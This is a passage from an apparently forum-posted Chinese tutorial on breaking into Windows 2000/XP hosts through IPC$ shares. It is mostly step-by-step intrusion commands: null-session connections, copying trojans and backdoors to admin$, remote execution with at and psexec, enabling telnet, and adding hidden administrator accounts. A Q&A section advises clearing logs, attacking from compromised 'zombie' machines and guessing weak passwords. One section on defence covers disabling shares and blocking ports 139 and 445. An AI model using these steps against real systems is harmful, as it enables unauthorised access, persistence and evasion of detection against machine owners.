2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图 6 ,管理员为D 盘设置的访问权限为仅允许名为 xinxin 的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然不能访问 D盘。不过有意思的是,如果此时对方又开启了 D$ 的默认共享,那么你却可以访问 D$ ,从而绕过了权限限制,有兴趣的朋友可以自己做测试。
4 被防火墙杀死或在局域网
还 有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反 向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。
呵呵,大家也知道, ipc$ 连接在实际操作过程中会出现各种各样的问题,上面我所总结的只是一些常见错误,没说到的,大家可以给我提个醒儿。
九 关于 at 命令和 xp 对 ipc$ 的限制
本 来还想说一下用 at 远程运行程序失败的原因,但考虑到 at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用 psexec.exe远程运行程序,假设想要远程机器执行本地 c:\xinxin.exe 文件,且管理员为 administrator ,密码为 1234,那么输入下面的命令:
psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立 ipc 连接,则 -u -p 这两个参数不需要, psexec.exe 将自动拷贝文件到远程机器并运行。
本 来 xp 中的 ipc$ 也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到 xp的时候,大部分操作都很难成功。我在这里就简单提一下吧,在 xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是 Guest,因此大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了 xp的管理员密码,我建议你尽量避开 ipc 管道。
十 如何打开目标的 IPC$ 共享以及其他共享
目标的 ipc$ 不是轻易就能打开的,否则就要天下打乱了。你需要一个 admin 权限的 shell ,比如 telnet ,木马, cmd 重定向等,然后在 shell 下执行:
net share ipc$
开放目标的 ipc$ 共享;
net share ipc$ /del
关闭目标的 ipc$ 共享;如果你要给它开共享文件夹,你可以用:
net share xinxin=c:\
这样就把它的 c 盘开为共享名为 xinxin 共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是 net share c$ ,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在 shell 下才能实现的。
十一 一些需要 shell 才能完成的命令
看到很多教程这方面写的十分不准确,一些需要 shell 才能完成命令就简简单单的在 ipc$ 连接下执行了,起了误导作用。那么下面我总结一下需要在 shell 才能完成的命令:
1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在 shell 下完成;
2 打开远程主机的 ipc$ 共享,默认共享,普通共享的操作需要在 shell 下完成;
3 运行 / 关闭远程主机的服务,需要在 shell 下完成;
4 启动 / 杀掉远程主机的进程,也需要在 shell 下完成(用软件的情况下除外,如 pskill )。
十二 入侵中可能会用到的命令
为 了这份教程的完整性,我列出了 ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你 只能在获得远程主机的 shell (如 cmd , telnet 等)后,才能向远程主机执行。
1 建立 / 删除 ipc$ 连接的命令
1 )建立空连接 :
net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空连接 :
net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 "
3 )删除连接 :
net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 连接中对远程主机的操作命令
1 ) 查看远程主机的共享资源(看不到默认共享) :
net view \\127.0.0.1
2 ) 查看远程主机的当前时间 :
net time \\127.0.0.1
3 ) 得到远程主机的 netbios 用户名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 删除远程共享 :
net use z: \\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘
net use z: /del
删除映射的 z 盘,其他盘类推
5 )向远程主机复制文件 :
copy 路径 \ 文件名 \\IP\ 共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6 )远程添加计划任务 :
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
3 本地命令
1 )查看本地主机的共享资源(可以看到本地的默认共享)
net share
2 )得到本地主机的用户列表
net user
3 )显示本地某用户的帐户信息
net user 帐户名
4 )显示本地主机当前启动的服务
net start
5 )启动 / 关闭本地服务
net start 服务名
net stop 服务名
6 )在本地添加帐户
net user 帐户名 密码 /add
7 )激活禁用的用户
net uesr 帐户名 /active:yes
8 )加入管理员组
net localgroup administrators 帐户名 /add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
4 其他一些命令
1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 开启远程主机的 telnet
OpenTelnet.exe \\ip 管理员帐号 密码 NTLM 的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1 )目标开启了 ipc$ 共享
2 )你要拥有管理员密码和帐号
3 )目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证
4 )对仅 WIN2K/XP 有效
3 )用 psexec.exe 一步获得 shell ,需要 ipc 管道支持
psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的 ipc$ 入侵
既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\ 用扫到的空口令建立连接  
[2]
c:\>net view \\127.0.0.1
\\ 查看远程的共享资源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启  
[4]
C:\>net time \\127.0.0.1
\\ 查看远程主机的当前时间
[5]
C:\>at \\127.0.0.1 时间 srv.exe
\\ 用 at 命令远程运行 srv.exe ,需要对方开启了 'Task Scheduler' 服务  
[6]
C:\>net time \\127.0.0.1
\\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略
[7]
C:\>telnet 127.0.0.1 99
\\ 开一个新窗口,用 telnet 远程登陆到 127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就好了,操作像 DOS) , 99 端口是 srv.exe 开的一次性后门的端口  
[8]
C:\WINNT\system32>net start telnet
\\ 我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的 telnet 已经启动,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet 身份验证的  
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门
[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet 上以后,你可以建立新帐户,激活 guest ,把任何帐户加入管理员组等
好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的 ipc$ 入侵吧。
[1]
psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
\\ 用这个工具我们可以一步到位的获得 shell
OpenTelnet.exe \\server 管理员帐号 密码 NTLM 的认证方式 port
\\ 用它可以方便的更改 telnet 的验证方式和端口,方便我们登陆
[2]
已经没有第二步了,用一步获得 shell 之后,你做什么都可以了,安后门可以用 winshell ,克隆就用 ca 吧,开终端用 3389.vbe ,记录密码用 win2kpass ,总之好的工具不少,随你选了,我就不多说了。
十四 如何防范 ipc$ 入侵
1 禁止空连接进行枚举 ( 此操作并不能阻止空连接的建立 )
运行 regedit ,找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的键值改为: 1
如 果设置为 "1" ,一个匿名用户仍然可以连接到 IPC$ 共享,但无法通过这种连接得到列举 SAM 帐号和共享信息的权限;在 Windows2000 中增加了 "2" ,未取得匿名权的用户将不能进行 ipc$ 空连接。建议设置为 1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-' 对匿名连接的额外限制 '
2 禁止默认共享
1 )察看本地共享资源
运行 -cmd- 输入 net share
2 )删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (如果有 e,f, ……可以继续删除)
3 )停止 server 服务
net stop server /y (重新启动后 server 服务会重新开启)
4 )禁止自动打开默认共享(此操作并不能关闭 ipc$ 共享)
运行 -regedit
server 版 : 找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer \Parameters]把 AutoShareServer ( DWORD )的键值改为 :00000000 。
pro 版 : 找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer \Parameters]把 AutoShareWks ( DWORD )的键值改为 :00000000 。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。
3 关闭 ipc$ 和默认共享依赖的服务 :server 服务
如果你真的想关闭 ipc$ 共享,那就禁止 server 服务吧:
控制面板 - 管理工具 - 服务 - 找到 server 服务(右击) - 属性 - 常规 - 启动类型 - 选已禁用,这时可能会有提示说: XXX 服务也会关闭是否继续,因为还有些次要的服务要依赖于 server 服务,不要管它。
4 屏蔽 139 , 445 端口
由于没有以上两个端口的支持,是无法建立 ipc$ 的,因此屏蔽 139 , 445 端口同样可以阻止 ipc$ 入侵。
1 ) 139 端口可以通过禁止 NBT 来屏蔽
本地连接- TCP/IT 属性-高级- WINS -选‘禁用 TCP/IT 上的 NETBIOS '一项
2 ) 445 端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
注意:如果屏蔽掉了以上两个端口,你将无法用 ipc$ 入侵别人。
3 )安装防火墙进行端口过滤
6 设置复杂密码,防止通过 ipc$ 穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全的多。
十五 ipc$ 入侵问答精选
上面说了一大堆的理论东西,但在实际中你会遇到各种各样的问题,因此为了给予大家最大的帮助,我整理了各大安全论坛中一些有代表性的问答,其中的一些答案是我给出的,一些是论坛上的回复,如果有什么疑问,可以来找我讨论。
1. 进行 ipc$ 入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?
答:留下记录是一定的,你走后用清除日志程序删除就可以了,或者用肉鸡入侵。
2. 你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ " 密码 " /user:" 用户名 "
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答:像“找不到网络路径”“找不到网络名”之类的问题,大多是因为你想要复制到的共享文件夹没有开启,所以在复制的时候会出现错误,你可以试着找找其他的共享文件夹。
3. 如果对方开了 IPC$ ,且能建立空联接,但打开 C 、 D 盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么扫描软件试着猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。
4. 我已经猜解到了管理员的密码,且已经 ipc$ 连接成功了,但 net view \\ip 发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用 net view \\ip 是无法看到默认共享的,你可以试着将文件复制到 c$ , d$ 看看,如果都不行,说明他关闭了默认共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。
5.ipc$ 连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add
答: ipc$ 建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个 shell ,只有在获得一个 shell (比如 telnet )之后,你才能在远程机器建立一个帐户,否则你的操作只是在本地进行。
6. 我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制 0 个文件”,是不是对方有什么服务没开,我该怎么办?
答:一般来说“拒绝访问”都是权限不够的结果,可能是你用的帐户有问题,还有一种可能,如果你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的允许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。
7. 我用 Win98 能与对方建立 ipc$ 连接吗?
答:理论上不可以,要进行 ipc$ 的操作,建议用 win2000 ,用其他操作系统会带来许多不必要的麻烦。
8. 我用 net use \\ip\ipc$ "" /user "" 成功的建立了一个空会话,但用 nbtstat -A IP 却无法导出用户列表,这是为什么?
答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;还有可能是你自己的 NBT 没有打开, netstat 命令是建立在 NBT 之上的。  
9. 我建立 ipc$ 连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突',怎么回事?
答:呵呵,这说明你已经与目标主机建立了 ipc$ 连接,两个主机间同时建立两个 ipc$ 连接是不允许的。
10. 我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你有一个 h 盘了,映射到没有的盘符吧!
11. 我建立了一个连接 f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码 :
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射 C$ 这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。
12. 我用 superscan 扫到了一个开了 139 端口的主机,但为什么不能空连接呢?
答:你混淆了 ipc$ 与 139 的关系,能进行 ipc$ 连接的主机一定开了 139 或 445 端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭 ipc$ 共享 .
13. 我们局域网里的机器大多都是 xp ,我用流光扫描到几个 administrator 帐号口令是空,而且可以连接,但不能复制东西,说错误 5 。请问为什么?
答: xp 的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误 5 :权限不够。
14. 我用 net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?我用的可是管理员呀?应该什么都可以访问呀?
答:虽然你具有管理员权限,但管理员在设置 c 盘共享权限时(注意:普通共享可以设置访问权限,而默认共享则不能)可能并未设置允许 administrator 访问,所以会出现上述问题。
15. 如果自己的机器禁止了 ipc$, 是不是还可以用 ipc$ 连接别的机器?如果禁止 server 服务呢?
答:禁止以上两项仍可以发起 ipc$ 连接,不过这种问题自己动手试验会更好。
16. 能告诉我下面的两个错误产生的原因吗?
c:\>net time \\61.225.*.*
系统发生 5 错误。
拒绝访问。
c:\>net view \\61.225.*.*
系统发生 5 错误。
拒绝访问。
答: 起初遇到这个问题的时候我也很纳闷,错误 5表示权限不够,可是连空会话的权限都可以完成上面的两个命令,他为什么不行呢?难道是他没建立连接?后来那个粗心的同志告诉我的确是这样,他忘记了自己 已经删了 ipc$ 连接,之后他又输入了上面那两个命令,随之发生了错误 5 。
17. 您看看这是怎么回事?
F:\>net time
找不到时间服务器。
请键入 NET HELPMSG 3912 以获得更多的帮助。
答:答案很简单,你的命令错了,应该是 net time \\ip
没输入 ip 地址,当然找不到服务器。 view 的命令也应该有 ip 地址,即: net view \\ip 
收藏 分享 评分